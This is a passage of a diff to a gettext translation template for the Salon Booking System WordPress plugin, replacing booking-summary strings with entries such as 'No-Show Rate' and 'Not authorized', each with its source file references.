build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:212\n-msgid \"Choose your favourite payment method\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:262\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:262\n+msgid \"No-Show History\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:222, views\u002Fshortcode\u002F_salon_summary_600.php:225, views\u002Fshortcode\u002F_salon_summary_900.php:219, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:222, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:225, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:219, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:222, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:225, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:219\n-msgid \"Terms & Conditions\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:322\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:322\n+msgid \"No-Show Rate\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_add_tips.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:28\n-msgid \"key in the desired amount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:340\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:340\n+msgid \"No-Show Rate Trend\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_show_tax.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:21\n-msgid \"Total amount tax excluded\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:311\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:311\n+msgid \"No-Show Rate:\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_show_tax.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:40\n-msgid \"TAX\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:265\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:265\n+msgid \"No-show status (0 or 1).\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the number of seconds\n-#: views\u002Fshortcode\u002F_salon_thankyou_400.php:13, views\u002Fshortcode\u002F_salon_thankyou_600.php:13, views\u002Fshortcode\u002F_salon_thankyou_900.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:12\n-msgid \"You'll be redirected in %s seconds\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:302\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:302\n+msgid \"No-Show Tracking\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_400.php:22, views\u002Fshortcode\u002F_salon_thankyou_600.php:22, views\u002Fshortcode\u002F_salon_thankyou_900.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:23\n-msgid \"Go to your personal account\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79\n+msgid \"None\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the remaining payment time\n-#: views\u002Fshortcode\u002F_salon_thankyou_alert.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:33\n-msgid \"You have \u003Cstrong>%s\u003C\u002Fstrong> to complete your payment before this reservation is canceled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:186\n+msgid \"Not always Enabled\"\n msgstr \"\"\n \n-#. translators: %1$s will be replaced by the phone number, %2$s will be replaced by the email\n-#: views\u002Fshortcode\u002F_salon_thankyou_alert.php:42, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:42, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:42\n-msgid \"You will receive a booking confirmation by email.If you do not receive an email in 5 minutes, check your Junk Mail or Spam Folder. If you need to change your reservation, please call \u003Cstrong>%1$s\u003C\u002Fstrong> or send an e-mail to \u003Cstrong>%2$s\u003C\u002Fstrong>.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:10\n+msgid \"Not authorized\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_alert.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:14\n-msgid \"You will receive a confirmation of your booking by email.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:677\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:240\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:248\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:256\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:268\n+msgid \"Not available\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_alert.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:20\n-msgid \"If you don't receive any news from us or you need to change your reservation please call the %1$s or send an e-mail to %2$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:199\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:199\n+msgid \"Not available set some attendants. Please, select others.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_alert_paid.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert_paid.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert_paid.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert_paid.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert_paid.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert_paid.php:5\n-msgid \"You already paid for this reservation.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:108\n+msgid \"Not available set some booking services. Please, select others.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43\n-msgid \"Your booking is pending\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:149\n+msgid \"\"\n+\"Not available set some secondary booking services. Please, select others.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:43\n-msgid \"Your booking is completed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:245\n+msgid \"not avalable yet\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_okbox.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:45\n-msgid \"Booking number\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:157\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:157\n+msgid \"Not defined\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_okbox.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:7\n-msgid \"Choose a payment option\"\n+#. %1$s will be replaced by service name, %2$d will be replaced by required count\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1033\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 